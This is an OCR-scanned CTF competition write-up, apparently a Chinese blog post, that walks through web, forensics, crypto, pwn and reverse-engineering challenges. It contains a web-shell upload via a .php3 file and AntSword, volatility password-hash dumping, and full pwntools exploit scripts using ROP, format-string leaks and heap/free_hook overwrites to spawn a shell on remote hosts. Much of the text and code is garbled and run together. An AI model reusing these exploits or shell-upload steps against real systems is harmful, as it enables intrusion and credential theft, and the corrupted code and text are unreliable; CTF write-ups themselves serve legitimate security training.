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JETiHA, DASFLAGZEZ7EphpinfolR /n iR T

© /4 47.111.104.169

Environment

S vahbe  Vake
HOSTNAME €68264b06d67

PHP_VERSION 748

APACHE_CONFDIR Jetc/apache2

PHP_MDS5 no value

PHP_INI_DIR Jusrflocal/etc/php

GPG_KEYS 42670A7FEAD0441C8E4632349E4FDCO74A4EF02D 5A52880781F755608BF815FC
PHP_LDFLAGS -W1,-O1 -pie

PWD / Jvar/www/html

APACHE_LOG DIR / /var/log/apache?

LANG / C

PHP_SHA256 / 642843890b732e8af01cb661e823ae01472af1402f211c83009c9b3abd073245
APACHE_PID_¢ Jvar/run/apache2/apache2 pid

PHPIZE_Dy autoconf dpkg-dev file g++ gce libc-dev make pkg-config re2c

DASFLAG DASCTF{b2d180fa9928c5a73a968bcc2f8b241¢e}

PHP_URL https://www.php.net/distributions/php-7.4.8.tarxz

APACHE_RUN_GROUP www-data

APACHE_LOCK DIR Jvar/lock/apache2

PHP_EXTRA CONFIGURE ARGS --with-apxs2 --disable-cgi

SANE(0) EEFESHS() EEEgW)

NewWebsite

fifé R B i

http://47.111.104.169:56200/?r=content&cid=2

CIdZHFAESQLIENINT, BHEMIE, [3)EEKS % Hadmin/admin
HNE & RIKENE f 38 B A A php332F, Vila&phpinfo, ¥4 H


https://blog.csdn.net/weixin_30813385
https://so.csdn.net/so/search/s.do?q=slax9Linux%25E4%25B8%25AD%25E6%2596%2587&t=blog&o=vip&s=&l=&f=&viparticle=
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=weixin_30813385&utm_content=116801104

< - C A &= | 47.111.104.169:56200/admin/?r=imageset

o Bk

F | RONE
= |
S ==
7 | i

® | Oa)

9 Eiss

7
=8
> EEeE
13
>
KEDEE
>
KED k&
> IKEDGT S
>
RS
EREE

() 7KED () 4aEEE /

Jupload/watermark/60441526361804.php3
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S J5 Vi 8l /upload/watermark/ H %, KILA]LLH F&WF, A Al LAET I shell sS4

¢« - C | A ~%% | 47.111.104.169:56200/upload/watermark/

Index of /upload/watermark

Name

Last modified Size Description

& Parent Directory

@ 27241604228351.php3 2020-11-01 10:59 27

@409515263614?3.h03 2020-10-27 09:59 19

@ 47631604228346.php3 2020-11-01 10:59 27

49471526351175.jpg 2020-10-27 09:59 35K
51941604228552.jpg 2020-11-01 11:02 27

59751426560003.png 2020-10-27 09:59 13K

@ 60441526361804.php3 2020-10-27 09:59 19

[ 66171604229008,jpg  2020-11-01 11:10 27

@ 82061604228330.php3 2020-11-01 10:58 27

Apache/2.4.18 (Ubuntu) Server at 47.171.104.169 Port 56200

http://47.111.104.169:56200/upload/watermark/82061604228330.php3
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AntSword #giE O AEid

4 == (047.111.104.169 (047.111.104.169
™ 4idi: /flag
[flag
1 DASCTF{91d7fbeecf940113dfca79a0194d8292}
2
Misc
password

TEJERERIWIN-BUBIJ7FIORU-20190927-152050.raw 4
H B2 ¥ B kali A volatility 73 #7
volatility -f WIN-BU6IJ7FI9RU-20190927-152050.raw imageinfo

HI B AHWin7SP1x86

root@kali:~/test/volatility# volatility -f WIN-BU61J?FIQRU-20190927-152050.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug - Determlnlng proflle based on KDBG search.
Suggested Profile(s) : Win7SP1x86 23418, Win7SP0Ox86, W1n75Plx86 24060 Win7SP1x86
AS Layerl : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/root/test/volatility/WIN-BU6IJ7FI9RU-20190927-15205

0.raw)
PAE type : PAE
DTB : 0x185000L
KDBG : 0x83f61c28L
Number of Processors : 2
Image Type (Service Pack) : 1
KPCR for CPU © : 0x83f62cOOL
KPCR for CPU 1 : 0x807ca®ooL
KUSER SHARED DATA : oxffdfeeeoL
Image date and time : 2019-09-27 15:20:52 UTC+0000
Image local date and time : 2019-09-27 23:20:52 +0800

volatility -f WIN-BUGIJ7FI9RU-20190927-152050.raw --profile=Win7SP1x86 hivelist

IREXSAMSL 1 Rt Hh dik

root@Kali:~/test/volatility# volatility -f WIN-BU6IJ7FI9RU-20190927-152050.raw --profile=Win7SP1x86 hiv
elist

Volatility Foundation Volatility Framework 2.6

Virtual Physical Name

0x93fc4le8 0x030cfle8 \SystemRoot\System32\Config\SAM

0x93fe7008 O0x1lbc6c0O8 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT

volatility -f WIN-BUGIJ7FI9RU-20190927-152050.raw --profile=Win7SP1x86 hashdump -y 0x93fc41e8

S HHash

root@kali:~/test/volatility# volatility -f WIN-BUGIJ7FI9RU-20190927-152050.raw --profile=Win7SP1x86 has
hdump -y 0x93fc41le8
Volatility Foundation Volatility Framework 2.6

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089cO: ::
Guest:501:aad3b435b51404eeaad3b435b51404ee;:31dhcfefdl1far931h73c5907eAcARACA; - :
CTF:1000:aad3b435b51404eeaad3b435b51404ee! 0a640404b5c386ab12092587fel9cd02: : :

CTFH P ihash& % f#%, #5830 :qwer1234



R JEshat

db25f2fc14cd2d2b1e7af307241f548fb03c312a

BT

fift LB 2%

BH BT, HEMBICFRERR.

wiresharkiT FF 4 1, K IH ANindex_demo.htmlffiSC, HE BLTH ) P 25 5 i SR AR A LE AR 1

1541 15.0213// 19Z2.1b8.32.129 19Z2.1b8.31.51 1Ly bb 49348 = ¥Y |SYN] deg=v W1lNn=s1vZ Len=v
1543 15.622307 192.168.31.51 192.168.32.129 TCP 60 80 - 49348 [SYN, ACK] Seq=0 Ack=1 Win=
1544 15.622330 192.168.32.129 192.168.31.51 TCP 2. 80 TACK] Seg=1 Ack=1 Llin=64240
1547 15.662015  192.168.32.129 192.168.31.51 HTTP 520 {GET /index-demo.html HT1P/1.1

1548 15.662254  192.168.31.51 192.168.32.129 TCP 60 80 - 49348 [ACK] Seq=1 Ack=467 Win=642
1549 15.663463 192.168.31.51 192.168.32.129 TCP 1514 80 - 49348 [ACK] Seg=1 Ack=467 Win=642
1550 15.663464 192.168.31.51 192.168.32.129 TCP 1514 80 - 49348 [ACK] Seg=1461 Ack=467 Win=
1551 15.663464  192.168.31.51 192.168.32.129 TCP 1514 80 - 49348 [ACK] Seq=2921 Ack=467 Win=
1EC? 1C ARIARC 147 1892 21 €1 1@72 189 272 1724 Tro 1E1A4 Q8 o AQ21Q TArKl San-A1291 Ark-AR7 LIAn-

AHITH, ABEEIRI KN —2ELibaseb4 ) K i

KO+90e+9peKIigO+9pSnvvonvvp7li6hlaX4gCm==KO+80oF /vwKA7KSjvwwKBf77ygOyko77ygX++80DspCr==KCtf

4 k

W 38T —FRIIX Rbaseb4faE, W A B A
https://www.it610.com/article/1290949422569562112.htm
i base64 k5 K Z Fi R A7 Bicode.txt, fiF % A

def get_base64_diff value(s1, s2):base64chars =

'‘ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijklmnopgrstuvwxyz0123456789+/'res = Ofor i in
xrange(len(s2)):if s1[i] != s2[i]:return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))return resdef
solve_stego():with open('code.txt', 'rb') as f:file_lines = f.readlines()bin_str = "for line in file_lines:steg_line =
line.replace('n', ")norm_line = line.replace('n’, ").decode('base64').encode('base64’).replace('n’, ")diff =
get_base64_diff_value(steg_line, norm_line)print diffpads_num = steg_line.count('=")if diff:bin_str += bin(diff)
[2:].Zill(pads_num * 2)else:bin_str +="0"* pads_num * 2print goflag(bin_str)def goflag(bin_str):res_str = "for i in
xrange(0, len(bin_str), 8):res_str += chr(int(bin_str(i:i + 8], 2))return res_strsolve_stego()

BT T — key

key:"lorrie
0
key:"lorrie

2
key:"lorrie"
root@kali:~/ctf/test# [}

R J5 #Krindex_demo.htmlidt 17 snow i %45 2| LA T A&




base64a 5, snowf@a, HEHT
67b33e39b5105fb4a2953a0ce79c3378
e 5 b 2

i 7L

vdmin file.txt - iCH2
A wes) ®EE ER(O) BEV EEH
fgzh"l"l:? HENVEANEHPERT? BRETENERGeER AR, AHARSHX B ERE? BmiRairRESEEREIREL? flaginzArNBF SRR 2B md 5.

Fawy
Logt&zh: md5(EFHE: #8)
My
Net
Prii|
Red
Sen

RATENFBEXANAF, BRERWVLAER. AT MBRERIKS —KN: testSixFh.
g Avolatility 7 Hrix AN, - AWt ik 4 A Win2003SP2x86

root@kali:~/test# volatility -f 1.vmem imageinfo
Volatility Foundation Volatility Framework 2.6
: volatility.debug : Determlnlnq profile based on KDBG search.
Suggested Profile(s) : Win2@03SPOx86, Win2003SP1x86, w1n20035P2\86 (Instantiated with Win2003

SP2x86)
AS Layerl : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/root/test/1.vmem)
PAE type : PAE
DTB : Oxe02000L
KDBG : 0x8088e3elL
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU @ : OxffdffeeoL
KUSER SHARED DATA : 0xffdfeeeoL
Image date and time : 2019-12-20 15:42:24 UTC+0000
Image local date and time : 2019-12-20 23:42:24 +0800
root@kali:~/test# |J

%1 th SAMZR i H 7~

root@kali:~/test# volatility -f 1l.vmem --profile=Win2003SP2x86 hashdump -y 0xel757860
Volatility Foundation Volatility Framework 2.6
Administrator:SOO:f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0cBB89cO:
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee: 8d9221b8&70124641&83291d3d71f760
9w3a6J0%:1003:e761601f5cf981c136077a718ccdf409:ec9dc7d0895ad3daelfeba8ffdeacffd: ::
4hiU9ZK$:1004:de5eea9d3fdl2c34aad3b435b51404ee:2f2d544c53b3031724d63402ea7fb4f9: : :
A4W7iKb$%$:1005:61339c1be342167eaad3b435b51404ee:b6e66a85f90219d619acad706f354Fc: : :
0eTQczg$:1006:b4d2cf4aB862f6fcaaad3b435b51404ee:3fbcl1f9dc4416f6fb3666de834185ch4: : :
CAlrXyU$:1007:8ea6fb8594al1b952aad3b435b51404ee:51d603c77a884df049f7ed4dabed4fd4: : :
AVgKsvQ$:1008:939e018990e68047aad3b435b51404ee:1796c2db94ce6276744188b740152154: : :
scdTbYy$:1009:792677ee54a26732891c5133c13673e8:1383934191f9b418eb735d36elda50a5e: : :
KXINBcT$:1010:17c6830172f2731b75e0c8d76954a50:25c93091cdfabe015d6770734eb9024a: : :
b4YNLvE$:1011:c827216bbfBc654d0cede57c62586573 :bbbb4ce745d55b2f4bb87768c27bbbae: : :
vXy9210%:1012:1e0ac88abbat20c94827253349babf0f:476b1879238bea3eb0fe93575c76643e: : :
Y12GjDd$:1013:0182bd0bd4444bf838a0a8035a6a24c3:184dd4b8727cdbeaccb650da®579411b: : :
fM8xal0%$:1014:c7418a726d8b057 faad3b435b51404ee:e807b0191fb9571ac66fdealf2cc36cO: : :

R ER R S EMntml, AR YSCE B AR, Fln
JbpPla4$:980099vz1rKjG$:565656yW1fMSd$: 198610130R9C4h0$:a520520etiH3Lp$:321321

BELREMEmMISINE IR JE £ F 6 &flag, BTH - KBEECEE, FRBERZAMATT, oAk
A5 hflaghy AR ok &l .
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165 HdE A A winrar B 3 1 B E 728 2 LB mingwen Bl 7 txtii [ Sk
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B R RI%E
. STHESE
flag.txt * 59 90 TSR
| flag.txt - ig=E
IEHF) IR BIU(O) =E(V) FEEIH)
N5, BudE
ffdS5e341le25b2dcab15cbb}gc3bc5b{789b51
BN R N SCE
A=
ffd5e3411e25b2dcabl5chb} gc3bebb {78951
S5  |mE=| me
flag{febc7d2138555b9ebccb32b554dbb11c}
Crypto
B B+
i R R i

SZWLVSRWZICMUOJYIZBSVSSITFSWHPCWCFPVPFXIMWRVJICVRGT CFLHPRJKJKSRVWYFUSEWHF.

% e WHRDINE AR, FE— R L A B
github L7 — AN BB A IR B

https://github.com/atomcated/Vigenere

=0IBERY=SH: orderby

4K 5 ORDERBY, md5inas— T it £flag
C82BBC1AC4AB644C0AA81980ED2EB25B
LFSXOR
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72 B B PINLFSROY BE HLEUAE R 23 R A2 B AN B AR T

SRJ5E 73 A%t contentin® 7 — ik, 15 EIFH R L
MARETRNMEAR T A BMRE, HEER, —ME15, —431

B b 58 — AN SR T I — N B PR TE R S AN B AR S — NI T F — AN S E L

TRARE R BRIZEKX G4, 7TCUR RS — N E AR T — AR E AP EARTC, ITSEIX &
SCHIE o

cipher1 =

'Xbbxd3x08x15xc6:x08xb2xb2x9fxed pxc7xecx7xfd)xf6fx9cxedxd12xaeJx81xb1x88xabxasVxa9x88x14xdf ~xfoxdk
*a0x12x14xfex0fx05xdemx1dxe4s2Jx7fxc28xf6RRx8exbaxb2mx18Mxf1xef! 4x17xa8xb4x14xc2x8fxb9Y:Kxaax06 T
Ibxa8x83x14xec6xd1!xc8x905xe52L xf1xbaxcfnx9dx9dxe7uxadmx06xe4n2rxd8xbaxedxf6x7fx9dxd8xd02mx12Gx(
X0f&x14x7fxf6x9dxd4 Exbfxc3xdbxe4Lxe 1xf7x90xbbxdaZxf4x9dxd 13xb8m3xe2D30~xf8Hxf6U*x071Yx03Kxabx07~
x11xbbxc6Tx15xfc-xd0x06xe6x9f-x074

x15xbbxcczx14xf3x8fx97xd419tx85xe8x8axbexbbxfoxfox9dxf2xd 1 9xa2Kxb6xcdxcixfo~xd5xa9xaax15xd8x8exb 3x¢
~x06P

1xbbxf2xféwaDxd1(mx12 [email protected]b6~xfaxa9xb1xb0x9dxfbx18xfom&xedv2wxcexbaxcboxd5x07x11QXxc
nNVxa9x91x14xf9}xd0! m/xe5| 20x8 1xbaxf8rx14xebtRxcOxecxdd xbfxc6x8 1xdfKXWxb30.%xa9xcdxb9x14xfdx97x83:

'pxfdx1ffxcaBxa5xe6 x87xa8x8¢ix855x9208Pxa5}"xd8xedx1ax88=cxe0x9fxedqxf8xe 1 %x7fXxd2xbaxbex03xa8x9:
x17x07xb2_xffnx8ax83xfoxc2x00x10x87x83xaeFxf7#xd4xbe'xa9x8a$IMpx14xe8xcOxadzxd 1xb2Hxe6ex8bxb0xcfx
[email protected]\cx17&x07xc8xda~x8bx88x86DSxebx87x87fxdaxf7 3rxcaSxd9xfaxfal’ xd5x889"Rx97 xaeFxf6x1ax
[xOfSxcab]xd2xaaUxcfh"xfcxa2_xdd/yx15xc7 1x06x8dxacx19xa0txOelxe9xc6%4x9dx80Uxe3xfdFx8dxeex17.+x9bx
one in range(256):turekey = [0]*31i = Ofor one in range(31):turekey[i % 31] =
chr(ord(cipher1[i])*ord(cipher2[i])*ord(one))i += 15flag=""for i in
range(len(cipher2)):flag+=chr(ord(turekey[i%31])"ord(cipher2][i]))if ' DASCTF" in flag:print flag

< | T | 3

PWN

what the f**k printf?

fife R R i

N 58 154N0x 15 B 77 LA s H

from pwn import*context.log_level = 'debug'elf = ELF("./pwn_printf')p = remote('47.111.96.55',54606)libc =
ELF(/lib/x86_64-linux-gnu/libc.so.6")gadget_list = [0x45226,0x4527a,0xf0364,0xf1207]puts_plt =
elf.plt['puts']puts_got = elf.got['puts']pop_rdi_ret = 0x401213payload =
"0x20"*15p.recvuntil(interestingn')p.sendline(payload)payload = "a"*8payload += p64(pop_rdi_ret) +
p64(puts_got) + p64(puts_plt) +p64(pop_rdi_ret)payload += p64(0x40) + p64(0x4007C6)p.sendline(payload #-
puts_addr = u64(p.recv(6).ljust(8,'’x00"))libc_base = puts_addr -
libc.symbols['puts'lvar = libc_base + gadget_list[2]# payload = "a"*8payload +=
p64(var)p.sendline(payload)p.interactive()737e31e0437d1f6d960ce8d4c887cb9a

Blend_pwn
figt R RE



# * coding:utf-8 _* from pwn import *context.log_level = 'debug'context.terminal=["tmux, 'splitw', '-h"lprog =
"./blend_pwn'#elf = ELF(prog)# p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.s0"})libc =
ELF("/lib/x86_64-linux-gnu/libc-2.23.s0")p = remote("47.111.104.169", 57704)def
debug(addr,PIE=True):debug_str = "if PIE:text_base = int(os.popen("pmap {}| awk {{print

$1}}" format(p.pid)).readlines()[1], 16)for i in addr:debug_str+='b *
{in".format(hex(text_base+i))gdb.attach(p,debug_str)else:for i in addr:debug_str+='b *
{in".format(hex(text_base+i))gdb.attach(p,debug_str)def dbg():gdb.attach(p)#
s = lambda data :p.send(str(data)) #in case that data is an intsa = lambda
delim,data :p.sendafter(str(delim), str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data
:p.sendlineafter(str(delim), str(data))r = lambda numb=4096 :p.recv(numb)ru = lambda delims, drop=True
:p.recvuntil(delims, drop)it = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4, ' '))uu64 = lambda
data :u64(data.ljust(8, ' '))bp = lambda bkp :pdbg.bp(bkp)li = lambda str1,data1
:log.success(str1+'========>'+hex(data1))def dbgc(addr):gdb.attach(p,"b*" + hex(addr) +"n c")def
lg(s,addr):print(* 33[1;31;40m%20s-->0x%x 33[0m'%

(s,addr))sh_x86_18="x6ax0bx58x53x68x2fx2fx7 3x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xcIx6ax0b
db.convshellcodes# def cho(idx):sla("Enter
your choice >",str(idx))def add(con="a"):cho(2)sla("input note:",con)def delete(idx):cho(3)sla("index>",idx)def
sho():cho(1)def show():cho(4)def magic(strt):choice(666)sla("Please input what you want:",strt)def exp():#
debug([0x11cb])sla("Please enter a name: ","%11$p")ru("wrong!")#
---leak libcsho()ru("Current user:")ru("0x")data = int(r(12),16)addr = data - libc.sym['__libc_start_main']-
240lg(‘addr',addr)one = addr + 0x4526a# leak heap#
magic("a"*0x28)pay = p64(one)*4+p64(0)*12add(pay)add(pay)delete(0)delete(1)show()ru(“index 2:")#
ru("0x")heap = uub4(r(6))lg('heap',heap)#
trigerlg(‘'one',one)magic(p64(one)*4+p64(heap+0x20)[0:6] & J& P4 Az 7] LAZE #rbpit()if __name ==
" _main__"exp()

< | i | 3
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# * coding:utf-8 _* from pwn_debug import *pdbg=pwn_debug("babyheap")pdbg.context.terminal=[tmux’,
'splitw’, -
h'lcontext.log_level="debug'pdbg.local("./libc.s0.6")#32/64pdbg.debug("2.27")pdbg.remote('47.111.104.169',563
switch==1:p=pdbg.run("local")elif switch==2:p=pdbg.run("debug")elif switch==3:p=pdbg.run("remote")#----------
s = lambda data :p.send(str(data)) #in case that
data is an intsa = lambda delim,data :p.sendafter(str(delim), str(data))sl = lambda data :p.sendline(str(data))sla
= lambda delim,data :p.sendlineafter(str(delim), str(data))r = lambda numb=4096 :p.recv(numb)ru = lambda
delims, drop=True :p.recvuntil(delims, drop)it = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4, '
"))uub4 = lambda data :u64(data.ljust(8, ' '))bp = lambda bkp :pdbg.bp(bkp)def bpp():bp([])# input()def
dbg(arg):bp([arg])#input()def Ig(s,addr):print(' 33[1;31;40m%20s-->0x%x 33[0m'%(s,addr))elf=pdbg.elf#
libc=pdbg.libcsh_x86_18="x6ax0bx58x53x68x2fx2fx7 3x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xcIxt
db.com/shellcodes# libc =
ELF("./libc.so.6")def cho(idx):sla(">>",str(idx))def add():cho(1)# sla("input note:",con)def
delete(idx):cho(4)sla("index?",idx)def show(idx):cho(2)sla("index?",str(idx))def
edit(idx,sz,con):cho(3)sla("index?",str(idx))sla("Size:",str(sz))sa("Content:",con)def exp():# debug([OxBOC])#------
leak libc & heapshow(-14)ru('n')data = uu64(r(6))lg(‘'data’,data)addr = data -
libc.sym['_10_2_1_stdout "lg(‘addr',addr)fh = addr+libc.sym['__free_hook']sys =
addr+libc.sym'system]ig('sys',sys)# shell#T [ ) #&1E 4L T Ictf2018-pwn-
easy_heap# step1for i in range(7):add()for i in range(3):add()# 7 8 9for i in
range(6):delete(i)delete(9)for i in range(6,9):delete(i)# step2for i in
range(7):add()add()#7add()#8add()#9for i in range(6):delete(i)delete(8)#tcachedelete(7)add()# dbg()#
raw_input()edit(0,0xf8,'a")delete(6)delete(9)# step3foriin
range(7):add()add()add()add()delete(9)edit(4,0x20,'/bin/shx00")edit(0,0x20,p64(fh))add()add()edit(11,8,p64(sys)
dbg()it()if __name__ =="'_main__"exp()
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a = [0x0000b2b0, 0x00006e72, 000006061, 0x0000565d,0x0000942d, 0x0000ac79, 0x0000391c,
0x0000643d,0x0000ec3f, 0x0000bd10, 0x0000c43e, 0x000072a65,0x0000184b, 0x0000ef5b, 0x00005a06,
0x0000a8c0,0x0000f64b, 0x0000c774, 0x000002ff, 0x00008e57,0x0000aed9, 0x0000d8a9, 0x0000230c,
0x000074e8,0x0000c2a6, 0x000088b3, 0x0000af2a, 0x00009ea7,0x0000ce8a, 0x00005924, 0x0000d276,
0x000056d4,0x000077d7, 0x0000990e, 0x0000b585, 0x00004bcd,0x00005277, 0x00001afc, 0x00008c8a,
0x0000cdb5,0x00006e26, 0x00004c22, 0x0000673f, 0x0000daff,0x00000fac, 0x000086¢7, 0x0000e048,
0x0000c483,0x000085d3, 0x00002204, 0x0000c2ee, 0x0000e07f,0x00000caf, 0x0000bf76, 0x000063fe,
0x0000bffb,0x00004b09, 0x0000e5b3, 0x00008bda, 0x000096df,0x0000866d, 000001719, 0x00006bcf,
0x0000adcc,0x00000f2b, 0x000051ce, 0x00001549, 0x000020c1,0x00003a8d, 0x000005f5, 0x00005403,
0x00001125,0x00009161, 0x0000e2a5, 0x00005196, 0x0000d8d2,0x0000d644, 0x0000ee86, 000003896,
0x00002e71,0x0000a6f1, 0x0000dfcf, 0x00003ece, 0x00007d49,0x0000c24d, 0x0000237e, 0x00009352,
0x00007a97,0x00007bfa, 0x0000cbaa, 0x000010dc, 0x00003bd9,0x00007d7b, 0x00003b88, 0x0000b0d0,
0x0000e8bc]b = [0x08a73233, 0x116db0f6, 0x0e654937, 0x03c374a7,0x16bc8ed9, 0x0846b755, 0x08949f47,
0x04a13c27,0x0976¢f0a, 0x07461189, Ox1e1a5¢c12, 0x11e64d96,0x03cf09b3, 0x093cb610, 0x0d41eab4,
0x07648050,0x092039bf, 0x08e7f1f7, 0x004d871f, 0x1680f823,0x06f3c3eb, 0x2205134d, 0x015c6a7c,
0x11c67ed0,0x0817b32e, 0x06bd9b92, 0x08806b0c, 0x06aaa515,0x205b9f76, 0x0de963e9, 0x2194e8e2,
0x047593bc]for i in range(32):for j in range(32,127):temp = j*j*a[(i<<2)//4] + a[((i+32)<<2)//4]*} + a[((i+64) <<
2)//4]if temp == bli]:print(chr(j),end=")break
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; it
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OD4OHBEC| . B 8 mov dword ptr ss:[ebp-8x8]
- 8 8 U dword ptr ss:[ebp
O0LOLEF2 BN ﬂFRﬁﬂ | movzx
0D4O4BFS| . 8 -000000| and edx,
OBLO4BFE) . mov byte ptr ss:[ebp-BxL 1 )
BONONBFE| . i DoBd{mov dword ptr [ebp . <P DB19FF28
004049 05 o jL] short eas BB4DND1D BO19FF70
004049 L mov eax,dword ptr ss:[ebp <C easyre . DB40ESSB SI BO&7 8
004 0L BF - B83C add eax 005808360
004049 08D a9l nov i *bp J
noy
sub
. ) cmp dword pt [ebp-8xC],ecx
AAMANO19| . 7D 3 WM _shar AANANYS Y
OLDL4O1E - -5 F8 mnov edx,dword p 55:[ebp-0x8)
POLONOIE| . B add edx,dword ptr ss:[ebp-8xC] easyre.BO4DESSE
HO404921) . @ novzx
HOLOLO2Y : k

ptr ss:[e X 0 LastErr ERRO)

DouOu92A| . *d ptr ss:[ebp-8xC] easyre.0040ES58
A0LON02D| . ouz 00000216 (HO,
10404931

0404934 . X

0404036 . 8 o ! sord ptr ss:[ebp-0x8]

90404939 | . 034D Fh »cx,dword ptr ss:[ebp-0xC] easyre. BOLDESSE
Jo40493C| . 8801 sal

DBLO403E| . > F8 no dx,dword ptr ss:[ebp-8x8]

JBLDLONT| . p wrd ptr ss:[ebp-@xC] easyre.BBLYDESSH

empty

empty

2 empty

3 empty

4 empty

5 empty

b empty

empty

. > ptr s B 1H easyre.BO4DESSE 9

JBLBLI LA ) F8 ¢ ,dword ptr ST 0008 Cond @

J040494D 2cx,dword ptr s i easyre.B04DESSE W 827F Prec NE
0404950
00484952
00404954

M FERH#EAEREmMANREZE, 28— MIERSRE. 2BE - ANFERF50e0F8KRF. 2ZEmeHE—A
FREBIL, BAFRAB, ZENEREHE. 2 ERBBEARTEUREFZRAEA Tir. KRBAREHZ
(((input[i])| (input[i+1]))&0xF)YN. /5 KNI H A BRI RS — s H .

Fkretd] LLE Blcheck#B 4y, B MEflagz 5 HIEHE .

I HEX ZY ASLIL

884110680 |2B B8 A9 CB|97 2F FF BC|92 FO A3 B9 |F7 26 B7 A4
88411018|DA EA B3 91|EF DC 95 AB| OO 60 60 660|060 B8 00 880 |—_|—_1]

- Br

BHEAGARY, MEEZEBAKRT, FAUERERRERE. RIITULIES— U%%ﬁﬁ%ﬁ ok, TXF

BAMSEHE, YRSEZM, WEMBH&MG, FTrfem—Hflag. EREBRNZRAZFERA, B—MHEUE

HLrgb B AR, MERGERNZGRIRE T, HEHmaEE, oAUl iToB@geg. RAFEEZAR,
BB REM)RBSE —THIREEE, HrE87TE2T, BMARBREREEA—FER.

for 1 in range(32,128):
for j in range(32,128):

if ((((i<<3)|(j>>5))"18)&exff=

for k in range(32,128):
if ((((3<<3)|(k>>5))"19)&
for i4 in range(32,128):
if ((((k<<3)](ia>>5))~20)
for i5 in range(32,128):

ReMe
fife 5L JB %
X E EEZpython 4%, Bk Mexe->pyc->pyX MBI EE, XEALH. kRHFEHABINT



# uncompyle6 version 3.7.4# Python bytecode 3.7 (3394 )# Decompiled from: Python 2.7.15+ (default, Aug 31
2018, 11:56:52)# [GCC 8.2.0]# Warning: this version of Python has problems handling the Python 3 "byte"
type in constants properly.# Embedded file name: ReMe.py# Compiled at: 1995-09-28 00:18:56# Size of
source mod 2**32: 272 bytesimport sys, hashlibcheck =
['e5438e78ec1de10a2693fIcffb930d23','08e8e8855af8eab652df54845d21b9d67','a905095f0d801abd5865d649:
func(num):result = [Jwhile num!= 1:num = num* 3 + 1 if num % 2 else num // 2result.append(num)return
resultif __name__ =="'__main__"print("Your input is not the FLAG!")inp = input()if len(inp) != 27:print('length
error!')sys.exit(-1)for i, ch in enumerate(inp):ret_list = func(ord(ch))s = "for idx in range(len(ret_list)):s +=
str(ret_list[idx])s += str(ret_list[(len(ret_list) - idx - 1)])md5 = hashlib.md5()md5.update(s.encode('utf-8"))if
md5.hexdigest() != check([i]:sys.exit(i)md5 = hashlib.md5()md5.update(inp.encode('utf-8"))print("You
win!")print(‘flag{’ + md5.hexdigest() + '}')# okay decompiling 2.pyc

4 ] r

S — %Y, HieEcliflag

# uncompyle6 version 3.7.4# Python bytecode 3.7 (3394 )# Decompiled from: Python 2.7.15+ (default, Aug 31
2018, 11:56:52)# [GCC 8.2.0]# Warning: this version of Python has problems handling the Python 3 "byte"
type in constants properly.# Embedded file name: ReMe.py# Compiled at: 1995-09-28 00:18:56# Size of
source mod 2**32: 272 bytesimport sys, hashlibcheck =
['e5438e78ec1de10a2693f9cffb930d23','08e8e8855af8eab652df54845d21b9d67','a905095f0d801abd5865d649:
func(num):result = [Jwhile num != 1:num = num* 3 + 1 if num % 2 else num // 2result.append(num)return
resultif __name__ =="'_main__"flag = ""print("Your input is not the FLAG!")inp = input()if len(inp) !=
27:print('length error!')sys.exit(-1)for i, ch in enumerate(inp):"for i in range(len(check)):for ch in
range(32,128):ret_list = func(ch)s = "for idx in range(len(ret_list)):s += str(ret_list[idx])s +=
str(ret_list[(len(ret_list) - idx - 1)])md5 = hashlib.md5()md5.update(s.encode('utf-8"))if md5.hexdigest() ==
check[i]:flag += chr(ch)print(flag)"md5 = hashlib.md5()md5.update(inp.encode('utf-8"))print("You
win!")print(‘flag{" + md5.hexdigest() + '}')"# okay decompiling 2.pyc

4 ] r

easy c++

BN, BEAREIEL,

std::allocator<char>: :~allocator(&v10);

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
&vil6,
"7d21e<e3<:3;9;51 t réw\"$*{*+¥¢],",
v3);

vd = std::operator<<<std::char_traits<char>>(&std::cout, "Please input tlag:");
std::ostream: :operator<<(v4, &std::endl<char,std::char_traits<char>>);
std::operator>><char,std: :char_traits<char>,std::allocator<char>>(&std::cin, &v16);
if ( std::__cxxll::basic_string<char,std::char_traits<char>,std::allocator<char>>::1length(&v16) = 32 )
{
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "length error”);
std::ostream: :operator<<(v5, &std::endl<char,std::char_traits<char>>);
exit(0);
}
for (1 =0; ; ++1 )
{
vb = i;
if ( v6 »= std::_ cxx11::basic_string<char,std: :char_traits<char>,std::allocator<char>>::length(&16) )
break;
std::_ cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::substr(&v17, &vio, 1, 1LL);
std::_ exx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&v14, &v17);
std::__exx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v17);
vil = *std::__cxx1l::basic_string<char,std::char_traits<char>,std::allocator<char>>: :operator[](& /14, OLL);
TIT =T A VI
v11l = i: l
v7 = std::__cxx11l::basic_string<char,std: :char_traits<char>,std::allocator<char>>::operator[](&v16, i);
*y7 = vl1;
}
if ( std::_ cxx1l::basic_string<char,std::char_traits<char>,std::allocator<chan>>::compare(&v16, &v15) == @ )
v8 = std::operator<<<std::char_traits<char>>(&std::cout, "Good,you got it,Fljg s fiag{your—tmpots ;
else




REAEIGEREA =117, BRRE LK, X, MEHEE, bR mHEENEREMMKxor. B LR
AT

>>> g = '7d21e>> flag = ">>> for i in range(len(a)):... flag += chr(ord(a[i])")...>>>
